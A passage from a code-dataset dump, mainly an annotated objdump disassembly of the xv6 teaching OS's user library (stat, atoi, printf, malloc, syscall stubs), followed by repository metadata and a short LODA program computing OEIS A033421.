d51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi d58: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi d5f: 90 nop 00000d60 <stat>: int stat(const char *n, struct stat *st) { d60: 55 push %ebp d61: 89 e5 mov %esp,%ebp d63: 56 push %esi d64: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); d65: 83 ec 08 sub $0x8,%esp d68: 6a 00 push $0x0 d6a: ff 75 08 push 0x8(%ebp) d6d: e8 11 01 00 00 call e83 <open> if (fd < 0) d72: 83 c4 10 add $0x10,%esp d75: 85 c0 test %eax,%eax d77: 78 27 js da0 <stat+0x40> return -1; r = fstat(fd, st); d79: 83 ec 08 sub $0x8,%esp d7c: ff 75 0c push 0xc(%ebp) d7f: 89 c3 mov %eax,%ebx d81: 50 push %eax d82: e8 14 01 00 00 call e9b <fstat> close(fd); d87: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); d8a: 89 c6 mov %eax,%esi close(fd); d8c: e8 da 00 00 00 call e6b <close> return r; d91: 83 c4 10 add $0x10,%esp } d94: 8d 65 f8 lea -0x8(%ebp),%esp d97: 89 f0 mov %esi,%eax d99: 5b pop %ebx d9a: 5e pop %esi d9b: 5d pop %ebp d9c: c3 ret d9d: 8d 76 00 lea 0x0(%esi),%esi return -1; da0: be ff ff ff ff mov $0xffffffff,%esi da5: eb ed jmp d94 <stat+0x34> da7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi dae: 66 90 xchg %ax,%ax 00000db0 <atoi>: int atoi(const char *s) { db0: 55 push %ebp db1: 89 e5 mov %esp,%ebp db3: 56 push %esi db4: be 01 00 00 00 mov $0x1,%esi db9: 8b 4d 08 mov 0x8(%ebp),%ecx dbc: 53 push %ebx i = 0; sign = 1; val = 0; nbr = 0; if (s[0] == '-') { dbd: 0f b6 11 movzbl (%ecx),%edx dc0: 80 fa 2d cmp $0x2d,%dl dc3: 75 0c jne dd1 <atoi+0x21> sign = -1; s++; } i = 0; while (s[i] >= '0' && s[i] <= '9' && s[i] != '\0') { dc5: 0f b6 51 01 movzbl 0x1(%ecx),%edx sign = -1; dc9: be ff ff ff ff mov $0xffffffff,%esi s++; dce: 83 c1 01 add $0x1,%ecx while (s[i] >= '0' && s[i] <= '9' && s[i] != '\0') { dd1: 8d 5a d0 lea -0x30(%edx),%ebx dd4: 80 fb 09 cmp $0x9,%bl dd7: 77 2f ja e08 <atoi+0x58> dd9: 83 c1 01 add $0x1,%ecx val = 0; ddc: 31 db xor %ebx,%ebx dde: 66 90 xchg %ax,%ax nbr = (int)(s[i] - '0'); de0: 83 ea 30 sub $0x30,%edx val = (val * 10) + nbr; de3: 8d 1c 9b lea (%ebx,%ebx,4),%ebx while (s[i] >= '0' && s[i] <= '9' && s[i] != '\0') { de6: 83 c1 01 add $0x1,%ecx nbr = (int)(s[i] - '0'); de9: 0f be d2 movsbl %dl,%edx val = (val * 10) + nbr; dec: 8d 1c 5a lea (%edx,%ebx,2),%ebx while (s[i] >= '0' && s[i] <= '9' && s[i] != '\0') { def: 0f b6 51 ff movzbl -0x1(%ecx),%edx df3: 8d 42 d0 lea -0x30(%edx),%eax df6: 3c 09 cmp $0x9,%al df8: 76 e6 jbe de0 <atoi+0x30> i++; } i++; return (val * sign); dfa: 89 f0 mov %esi,%eax dfc: 0f af c3 imul %ebx,%eax } dff: 5b pop %ebx e00: 5e pop %esi e01: 5d pop %ebp e02: c3 ret e03: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi e07: 90 nop e08: 5b pop %ebx while (s[i] >= '0' && s[i] <= '9' && s[i] != '\0') { e09: 31 c0 xor %eax,%eax } e0b: 5e pop %esi e0c: 5d pop %ebp e0d: c3 ret e0e: 66 90 xchg %ax,%ax 00000e10 <memmove>: void *memmove(void *vdst, const void *vsrc, int n) { e10: 55 push %ebp e11: 89 e5 mov %esp,%ebp e13: 57 push %edi e14: 8b 45 10 mov 0x10(%ebp),%eax e17: 8b 55 08 mov 0x8(%ebp),%edx e1a: 56 push %esi e1b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while (n-- > 0) e1e: 85 c0 test %eax,%eax e20: 7e 13 jle e35 <memmove+0x25> e22: 01 d0 add %edx,%eax dst = vdst; e24: 89 d7 mov %edx,%edi e26: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi e2d: 8d 76 00 lea 0x0(%esi),%esi *dst++ = *src++; e30: a4 movsb %ds:(%esi),%es:(%edi) while (n-- > 0) e31: 39 f8 cmp %edi,%eax e33: 75 fb jne e30 <memmove+0x20> return vdst; } e35: 5e pop %esi e36: 89 d0 mov %edx,%eax e38: 5f pop %edi e39: 5d pop %ebp e3a: c3 ret 00000e3b <fork>: SYSCALL(fork) e3b: b8 01 00 00 00 mov $0x1,%eax e40: cd 40 int $0x40 e42: c3 ret 00000e43 <exit>: SYSCALL(exit) e43: b8 02 00 00 00 mov $0x2,%eax e48: cd 40 int $0x40 e4a: c3 ret 00000e4b <wait>: SYSCALL(wait) e4b: b8 03 00 00 00 mov $0x3,%eax e50: cd 40 int $0x40 e52: c3 ret 00000e53 <pipe>: SYSCALL(pipe) e53: b8 04 00 00 00 mov $0x4,%eax e58: cd 40 int $0x40 e5a: c3 ret 00000e5b <read>: SYSCALL(read) e5b: b8 05 00 00 00 mov $0x5,%eax e60: cd 40 int $0x40 e62: c3 ret 00000e63 <write>: SYSCALL(write) e63: b8 10 00 00 00 mov $0x10,%eax e68: cd 40 int $0x40 e6a: c3 ret 00000e6b <close>: SYSCALL(close) e6b: b8 15 00 00 00 mov $0x15,%eax e70: cd 40 int $0x40 e72: c3 ret 00000e73 <kill>: SYSCALL(kill) e73: b8 06 00 00 00 mov $0x6,%eax e78: cd 40 int $0x40 e7a: c3 ret 00000e7b <exec>: SYSCALL(exec) e7b: b8 07 00 00 00 mov $0x7,%eax e80: cd 40 int $0x40 e82: c3 ret 00000e83 <open>: SYSCALL(open) e83: b8 0f 00 00 00 mov $0xf,%eax e88: cd 40 int $0x40 e8a: c3 ret 00000e8b <mknod>: SYSCALL(mknod) e8b: b8 11 00 00 00 mov $0x11,%eax e90: cd 40 int $0x40 e92: c3 ret 00000e93 <unlink>: SYSCALL(unlink) e93: b8 12 00 00 00 mov $0x12,%eax e98: cd 40 int $0x40 e9a: c3 ret 00000e9b <fstat>: SYSCALL(fstat) e9b: b8 08 00 00 00 mov $0x8,%eax ea0: cd 40 int $0x40 ea2: c3 ret 00000ea3 <link>: SYSCALL(link) ea3: b8 13 00 00 00 mov $0x13,%eax ea8: cd 40 int $0x40 eaa: c3 ret 00000eab <mkdir>: SYSCALL(mkdir) eab: b8 14 00 00 00 mov $0x14,%eax eb0: cd 40 int $0x40 eb2: c3 ret 00000eb3 <chdir>: SYSCALL(chdir) eb3: b8 09 00 00 00 mov $0x9,%eax eb8: cd 40 int $0x40 eba: c3 ret 00000ebb <dup>: SYSCALL(dup) ebb: b8 0a 00 00 00 mov $0xa,%eax ec0: cd 40 int $0x40 ec2: c3 ret 00000ec3 <getpid>: SYSCALL(getpid) ec3: b8 0b 00 00 00 mov $0xb,%eax ec8: cd 40 int $0x40 eca: c3 ret 00000ecb <sbrk>: SYSCALL(sbrk) ecb: b8 0c 00 00 00 mov $0xc,%eax ed0: cd 40 int $0x40 ed2: c3 ret 00000ed3 <sleep>: SYSCALL(sleep) ed3: b8 0d 00 00 00 mov $0xd,%eax ed8: cd 40 int $0x40 eda: c3 ret 00000edb <uptime>: SYSCALL(uptime) edb: b8 0e 00 00 00 mov $0xe,%eax ee0: cd 40 int $0x40 ee2: c3 ret 00000ee3 <shutdown>: #SYSCALL(dup) #SYSCALL(getpid) #SYSCALL(sbrk) #SYSCALL(sleep) #SYSCALL(uptime) SYSCALL(shutdown) ee3: b8 16 00 00 00 mov $0x16,%eax ee8: cd 40 int $0x40 eea: c3 ret 00000eeb <incr>: SYSCALL(incr) eeb: b8 17 00 00 00 mov $0x17,%eax ef0: cd 40 int $0x40 ef2: c3 ret 00000ef3 <add>: SYSCALL(add) ef3: b8 18 00 00 00 mov $0x18,%eax ef8: cd 40 int $0x40 efa: c3 ret 00000efb <mult>: SYSCALL(mult) efb: b8 19 00 00 00 mov $0x19,%eax f00: cd 40 int $0x40 f02: c3 ret 00000f03 <div>: SYSCALL(div) f03: b8 1a 00 00 00 mov $0x1a,%eax f08: cd 40 int $0x40 f0a: c3 ret 00000f0b <mod>: SYSCALL(mod) f0b: b8 1b 00 00 00 mov $0x1b,%eax f10: cd 40 int $0x40 f12: c3 ret f13: 66 90 xchg %ax,%ax f15: 66 90 xchg %ax,%ax f17: 66 90 xchg %ax,%ax f19: 66 90 xchg %ax,%ax f1b: 66 90 xchg %ax,%ax f1d: 66 90 xchg %ax,%ax f1f: 90 nop 00000f20 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { f20: 55 push %ebp f21: 89 e5 mov %esp,%ebp f23: 57 push %edi f24: 56 push %esi f25: 53 push %ebx f26: 83 ec 3c sub $0x3c,%esp f29: 89 4d c4 mov %ecx,-0x3c(%ebp) uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; f2c: 89 d1 mov %edx,%ecx { f2e: 89 45 b8 mov %eax,-0x48(%ebp) if(sgn && xx < 0){ f31: 85 d2 test %edx,%edx f33: 0f 89 7f 00 00 00 jns fb8 <printint+0x98> f39: f6 45 08 01 testb $0x1,0x8(%ebp) f3d: 74 79 je fb8 <printint+0x98> neg = 1; f3f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp) x = -xx; f46: f7 d9 neg %ecx } else { x = xx; } i = 0; f48: 31 db xor %ebx,%ebx f4a: 8d 75 d7 lea -0x29(%ebp),%esi f4d: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; f50: 89 c8 mov %ecx,%eax f52: 31 d2 xor %edx,%edx f54: 89 cf mov %ecx,%edi f56: f7 75 c4 divl -0x3c(%ebp) f59: 0f b6 92 58 14 00 00 movzbl 0x1458(%edx),%edx f60: 89 45 c0 mov %eax,-0x40(%ebp) f63: 89 d8 mov %ebx,%eax f65: 8d 5b 01 lea 0x1(%ebx),%ebx }while((x /= base) != 0); f68: 8b 4d c0 mov -0x40(%ebp),%ecx buf[i++] = digits[x % base]; f6b: 88 14 1e mov %dl,(%esi,%ebx,1) }while((x /= base) != 0); f6e: 39 7d c4 cmp %edi,-0x3c(%ebp) f71: 76 dd jbe f50 <printint+0x30> if(neg) f73: 8b 4d bc mov -0x44(%ebp),%ecx f76: 85 c9 test %ecx,%ecx f78: 74 0c je f86 <printint+0x66> buf[i++] = '-'; f7a: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1) buf[i++] = digits[x % base]; f7f: 89 d8 mov %ebx,%eax buf[i++] = '-'; f81: ba 2d 00 00 00 mov $0x2d,%edx while(--i >= 0) f86: 8b 7d b8 mov -0x48(%ebp),%edi f89: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx f8d: eb 07 jmp f96 <printint+0x76> f8f: 90 nop putc(fd, buf[i]); f90: 0f b6 13 movzbl (%ebx),%edx f93: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); f96: 83 ec 04 sub $0x4,%esp f99: 88 55 d7 mov %dl,-0x29(%ebp) f9c: 6a 01 push $0x1 f9e: 56 push %esi f9f: 57 push %edi fa0: e8 be fe ff ff call e63 <write> while(--i >= 0) fa5: 83 c4 10 add $0x10,%esp fa8: 39 de cmp %ebx,%esi faa: 75 e4 jne f90 <printint+0x70> } fac: 8d 65 f4 lea -0xc(%ebp),%esp faf: 5b pop %ebx fb0: 5e pop %esi fb1: 5f pop %edi fb2: 5d pop %ebp fb3: c3 ret fb4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; fb8: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp) fbf: eb 87 jmp f48 <printint+0x28> fc1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi fc8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi fcf: 90 nop 00000fd0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { fd0: 55 push %ebp fd1: 89 e5 mov %esp,%ebp fd3: 57 push %edi fd4: 56 push %esi fd5: 53 push %ebx fd6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ fd9: 8b 5d 0c mov 0xc(%ebp),%ebx { fdc: 8b 75 08 mov 0x8(%ebp),%esi for(i = 0; fmt[i]; i++){ fdf: 0f b6 13 movzbl (%ebx),%edx fe2: 84 d2 test %dl,%dl fe4: 74 6a je 1050 <printf+0x80> ap = (uint*)(void*)&fmt + 1; fe6: 8d 45 10 lea 0x10(%ebp),%eax fe9: 83 c3 01 add $0x1,%ebx write(fd, &c, 1); fec: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; fef: 31 c9 xor %ecx,%ecx ap = (uint*)(void*)&fmt + 1; ff1: 89 45 d0 mov %eax,-0x30(%ebp) ff4: eb 36 jmp 102c <printf+0x5c> ff6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ffd: 8d 76 00 lea 0x0(%esi),%esi 1000: 89 4d d4 mov %ecx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 1003: b9 25 00 00 00 mov $0x25,%ecx if(c == '%'){ 1008: 83 f8 25 cmp $0x25,%eax 100b: 74 15 je 1022 <printf+0x52> write(fd, &c, 1); 100d: 83 ec 04 sub $0x4,%esp 1010: 88 55 e7 mov %dl,-0x19(%ebp) 1013: 6a 01 push $0x1 1015: 57 push %edi 1016: 56 push %esi 1017: e8 47 fe ff ff call e63 <write> 101c: 8b 4d d4 mov -0x2c(%ebp),%ecx } else { putc(fd, c); 101f: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 1022: 0f b6 13 movzbl (%ebx),%edx 1025: 83 c3 01 add $0x1,%ebx 1028: 84 d2 test %dl,%dl 102a: 74 24 je 1050 <printf+0x80> c = fmt[i] & 0xff; 102c: 0f b6 c2 movzbl %dl,%eax if(state == 0){ 102f: 85 c9 test %ecx,%ecx 1031: 74 cd je 1000 <printf+0x30> } } else if(state == '%'){ 1033: 83 f9 25 cmp $0x25,%ecx 1036: 75 ea jne 1022 <printf+0x52> if(c == 'd'){ 1038: 83 f8 25 cmp $0x25,%eax 103b: 0f 84 07 01 00 00 je 1148 <printf+0x178> 1041: 83 e8 63 sub $0x63,%eax 1044: 83 f8 15 cmp $0x15,%eax 1047: 77 17 ja 1060 <printf+0x90> 1049: ff 24 85 00 14 00 00 jmp *0x1400(,%eax,4) putc(fd, c); } state = 0; } } } 1050: 8d 65 f4 lea -0xc(%ebp),%esp 1053: 5b pop %ebx 1054: 5e pop %esi 1055: 5f pop %edi 1056: 5d pop %ebp 1057: c3 ret 1058: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 105f: 90 nop write(fd, &c, 1); 1060: 83 ec 04 sub $0x4,%esp 1063: 88 55 d4 mov %dl,-0x2c(%ebp) 1066: 6a 01 push $0x1 1068: 57 push %edi 1069: 56 push %esi 106a: c6 45 e7 25 movb $0x25,-0x19(%ebp) 106e: e8 f0 fd ff ff call e63 <write> putc(fd, c); 1073: 0f b6 55 d4 movzbl -0x2c(%ebp),%edx write(fd, &c, 1); 1077: 83 c4 0c add $0xc,%esp 107a: 88 55 e7 mov %dl,-0x19(%ebp) 107d: 6a 01 push $0x1 107f: 57 push %edi 1080: 56 push %esi 1081: e8 dd fd ff ff call e63 <write> putc(fd, c); 1086: 83 c4 10 add $0x10,%esp state = 0; 1089: 31 c9 xor %ecx,%ecx 108b: eb 95 jmp 1022 <printf+0x52> 108d: 8d 76 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 1090: 83 ec 0c sub $0xc,%esp 1093: b9 10 00 00 00 mov $0x10,%ecx 1098: 6a 00 push $0x0 109a: 8b 45 d0 mov -0x30(%ebp),%eax 109d: 8b 10 mov (%eax),%edx 109f: 89 f0 mov %esi,%eax 10a1: e8 7a fe ff ff call f20 <printint> ap++; 10a6: 83 45 d0 04 addl $0x4,-0x30(%ebp) 10aa: 83 c4 10 add $0x10,%esp state = 0; 10ad: 31 c9 xor %ecx,%ecx 10af: e9 6e ff ff ff jmp 1022 <printf+0x52> 10b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 10b8: 8b 45 d0 mov -0x30(%ebp),%eax 10bb: 8b 10 mov (%eax),%edx ap++; 10bd: 83 c0 04 add $0x4,%eax 10c0: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 10c3: 85 d2 test %edx,%edx 10c5: 0f 84 8d 00 00 00 je 1158 <printf+0x188> while(*s != 0){ 10cb: 0f b6 02 movzbl (%edx),%eax state = 0; 10ce: 31 c9 xor %ecx,%ecx while(*s != 0){ 10d0: 84 c0 test %al,%al 10d2: 0f 84 4a ff ff ff je 1022 <printf+0x52> 10d8: 89 5d d4 mov %ebx,-0x2c(%ebp) 10db: 89 d3 mov %edx,%ebx 10dd: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 10e0: 83 ec 04 sub $0x4,%esp s++; 10e3: 83 c3 01 add $0x1,%ebx 10e6: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 10e9: 6a 01 push $0x1 10eb: 57 push %edi 10ec: 56 push %esi 10ed: e8 71 fd ff ff call e63 <write> while(*s != 0){ 10f2: 0f b6 03 movzbl (%ebx),%eax 10f5: 83 c4 10 add $0x10,%esp 10f8: 84 c0 test %al,%al 10fa: 75 e4 jne 10e0 <printf+0x110> state = 0; 10fc: 8b 5d d4 mov -0x2c(%ebp),%ebx 10ff: 31 c9 xor %ecx,%ecx 1101: e9 1c ff ff ff jmp 1022 <printf+0x52> 1106: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 110d: 8d 76 00 lea 0x0(%esi),%esi printint(fd, *ap, 10, 1); 1110: 83 ec 0c sub $0xc,%esp 1113: b9 0a 00 00 00 mov $0xa,%ecx 1118: 6a 01 push $0x1 111a: e9 7b ff ff ff jmp 109a <printf+0xca> 111f: 90 nop putc(fd, *ap); 1120: 8b 45 d0 mov -0x30(%ebp),%eax write(fd, &c, 1); 1123: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 1126: 8b 00 mov (%eax),%eax write(fd, &c, 1); 1128: 6a 01 push $0x1 112a: 57 push %edi 112b: 56 push %esi putc(fd, *ap); 112c: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 112f: e8 2f fd ff ff call e63 <write> ap++; 1134: 83 45 d0 04 addl $0x4,-0x30(%ebp) 1138: 83 c4 10 add $0x10,%esp state = 0; 113b: 31 c9 xor %ecx,%ecx 113d: e9 e0 fe ff ff jmp 1022 <printf+0x52> 1142: 8d b6 00 00 00 00 lea 0x0(%esi),%esi putc(fd, c); 1148: 88 55 e7 mov %dl,-0x19(%ebp) write(fd, &c, 1); 114b: 83 ec 04 sub $0x4,%esp 114e: e9 2a ff ff ff jmp 107d <printf+0xad> 1153: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1157: 90 nop s = "(null)"; 1158: ba f8 13 00 00 mov $0x13f8,%edx while(*s != 0){ 115d: 89 5d d4 mov %ebx,-0x2c(%ebp) 1160: b8 28 00 00 00 mov $0x28,%eax 1165: 89 d3 mov %edx,%ebx 1167: e9 74 ff ff ff jmp 10e0 <printf+0x110> 116c: 66 90 xchg %ax,%ax 116e: 66 90 xchg %ax,%ax 00001170 <free>: static Header base; static Header *freep; void free(void *ap) { 1170: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1171: a1 c4 1a 00 00 mov 0x1ac4,%eax { 1176: 89 e5 mov %esp,%ebp 1178: 57 push %edi 1179: 56 push %esi 117a: 53 push %ebx 117b: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 117e: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1181: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1188: 89 c2 mov %eax,%edx 118a: 8b 00 mov (%eax),%eax 118c: 39 ca cmp %ecx,%edx 118e: 73 30 jae 11c0 <free+0x50> 1190: 39 c1 cmp %eax,%ecx 1192: 72 04 jb 1198 <free+0x28> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1194: 39 c2 cmp %eax,%edx 1196: 72 f0 jb 1188 <free+0x18> break; if(bp + bp->s.size == p->s.ptr){ 1198: 8b 73 fc mov -0x4(%ebx),%esi 119b: 8d 3c f1 lea (%ecx,%esi,8),%edi 119e: 39 f8 cmp %edi,%eax 11a0: 74 30 je 11d2 <free+0x62> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; 11a2: 89 43 f8 mov %eax,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 11a5: 8b 42 04 mov 0x4(%edx),%eax 11a8: 8d 34 c2 lea (%edx,%eax,8),%esi 11ab: 39 f1 cmp %esi,%ecx 11ad: 74 3a je 11e9 <free+0x79> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; 11af: 89 0a mov %ecx,(%edx) } else p->s.ptr = bp; freep = p; } 11b1: 5b pop %ebx freep = p; 11b2: 89 15 c4 1a 00 00 mov %edx,0x1ac4 } 11b8: 5e pop %esi 11b9: 5f pop %edi 11ba: 5d pop %ebp 11bb: c3 ret 11bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 11c0: 39 c2 cmp %eax,%edx 11c2: 72 c4 jb 1188 <free+0x18> 11c4: 39 c1 cmp %eax,%ecx 11c6: 73 c0 jae 1188 <free+0x18> if(bp + bp->s.size == p->s.ptr){ 11c8: 8b 73 fc mov -0x4(%ebx),%esi 11cb: 8d 3c f1 lea (%ecx,%esi,8),%edi 11ce: 39 f8 cmp %edi,%eax 11d0: 75 d0 jne 11a2 <free+0x32> bp->s.size += p->s.ptr->s.size; 11d2: 03 70 04 add 0x4(%eax),%esi 11d5: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 11d8: 8b 02 mov (%edx),%eax 11da: 8b 00 mov (%eax),%eax 11dc: 89 43 f8 mov %eax,-0x8(%ebx) if(p + p->s.size == bp){ 11df: 8b 42 04 mov 0x4(%edx),%eax 11e2: 8d 34 c2 lea (%edx,%eax,8),%esi 11e5: 39 f1 cmp %esi,%ecx 11e7: 75 c6 jne 11af <free+0x3f> p->s.size += bp->s.size; 11e9: 03 43 fc add -0x4(%ebx),%eax freep = p; 11ec: 89 15 c4 1a 00 00 mov %edx,0x1ac4 p->s.size += bp->s.size; 11f2: 89 42 04 mov %eax,0x4(%edx) p->s.ptr = bp->s.ptr; 11f5: 8b 4b f8 mov -0x8(%ebx),%ecx 11f8: 89 0a mov %ecx,(%edx) } 11fa: 5b pop %ebx 11fb: 5e pop %esi 11fc: 5f pop %edi 11fd: 5d pop %ebp 11fe: c3 ret 11ff: 90 nop 00001200 <malloc>: return freep; } void* malloc(uint nbytes) { 1200: 55 push %ebp 1201: 89 e5 mov %esp,%ebp 1203: 57 push %edi 1204: 56 push %esi 1205: 53 push %ebx 1206: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1209: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 120c: 8b 3d c4 1a 00 00 mov 0x1ac4,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1212: 8d 70 07 lea 0x7(%eax),%esi 1215: c1 ee 03 shr $0x3,%esi 1218: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 121b: 85 ff test %edi,%edi 121d: 0f 84 9d 00 00 00 je 12c0 <malloc+0xc0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1223: 8b 17 mov (%edi),%edx if(p->s.size >= nunits){ 1225: 8b 4a 04 mov 0x4(%edx),%ecx 1228: 39 f1 cmp %esi,%ecx 122a: 73 6a jae 1296 <malloc+0x96> 122c: bb 00 10 00 00 mov $0x1000,%ebx 1231: 39 de cmp %ebx,%esi 1233: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 1236: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax 123d: 89 45 e4 mov %eax,-0x1c(%ebp) 1240: eb 17 jmp 1259 <malloc+0x59> 1242: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1248: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 124a: 8b 48 04 mov 0x4(%eax),%ecx 124d: 39 f1 cmp %esi,%ecx 124f: 73 4f jae 12a0 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 1251: 8b 3d c4 1a 00 00 mov 0x1ac4,%edi 1257: 89 c2 mov %eax,%edx 1259: 39 d7 cmp %edx,%edi 125b: 75 eb jne 1248 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 125d: 83 ec 0c sub $0xc,%esp 1260: ff 75 e4 push -0x1c(%ebp) 1263: e8 63 fc ff ff call ecb <sbrk> if(p == (char*)-1) 1268: 83 c4 10 add $0x10,%esp 126b: 83 f8 ff cmp $0xffffffff,%eax 126e: 74 1c je 128c <malloc+0x8c> hp->s.size = nu; 1270: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 1273: 83 ec 0c sub $0xc,%esp 1276: 83 c0 08 add $0x8,%eax 1279: 50 push %eax 127a: e8 f1 fe ff ff call 1170 <free> return freep; 127f: 8b 15 c4 1a 00 00 mov 0x1ac4,%edx if((p = morecore(nunits)) == 0) 1285: 83 c4 10 add $0x10,%esp 1288: 85 d2 test %edx,%edx 128a: 75 bc jne 1248 <malloc+0x48> return 0; } } 128c: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 128f: 31 c0 xor %eax,%eax } 1291: 5b pop %ebx 1292: 5e pop %esi 1293: 5f pop %edi 1294: 5d pop %ebp 1295: c3 ret if(p->s.size >= nunits){ 1296: 89 d0 mov %edx,%eax 1298: 89 fa mov %edi,%edx 129a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 12a0: 39 ce cmp %ecx,%esi 12a2: 74 4c je 12f0 <malloc+0xf0> p->s.size -= nunits; 12a4: 29 f1 sub %esi,%ecx 12a6: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 12a9: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 12ac: 89 70 04 mov %esi,0x4(%eax) freep = prevp; 12af: 89 15 c4 1a 00 00 mov %edx,0x1ac4 } 12b5: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 12b8: 83 c0 08 add $0x8,%eax } 12bb: 5b pop %ebx 12bc: 5e pop %esi 12bd: 5f pop %edi 12be: 5d pop %ebp 12bf: c3 ret base.s.ptr = freep = prevp = &base; 12c0: c7 05 c4 1a 00 00 c8 movl $0x1ac8,0x1ac4 12c7: 1a 00 00 base.s.size = 0; 12ca: bf c8 1a 00 00 mov $0x1ac8,%edi base.s.ptr = freep = prevp = &base; 12cf: c7 05 c8 1a 00 00 c8 movl $0x1ac8,0x1ac8 12d6: 1a 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 12d9: 89 fa mov %edi,%edx base.s.size = 0; 12db: c7 05 cc 1a 00 00 00 movl $0x0,0x1acc 12e2: 00 00 00 if(p->s.size >= nunits){ 12e5: e9 42 ff ff ff jmp 122c <malloc+0x2c> 12ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 12f0: 8b 08 mov (%eax),%ecx 12f2: 89 0a mov %ecx,(%edx) 12f4: eb b9 jmp 12af <malloc+0xaf>
38.938895
75
0.400273
6f86b376424f5a1d860296d0f29f80a803c61dfc
254
asm
Assembly
programs/oeis/033/A033421.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/033/A033421.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/033/A033421.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A033421: [ 1000/n ]. ; 1000,500,333,250,200,166,142,125,111,100,90,83,76,71,66,62,58,55,52,50,47,45,43,41,40,38,37,35,34,33,32,31,30,29,28,27,27,26,25,25,24,23,23,22,22,21,21,20,20,20,19,19,18,18,18,17,17,17,16,16,16,16 add $0,1 mov $1,1000 div $1,$0
36.285714
198
0.649606
161a7f6fd99b40c9eed615e97daba7245cbba547
37
asm
Assembly
pkgs/tools/yasm/src/modules/arch/x86/tests/opsize-err.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
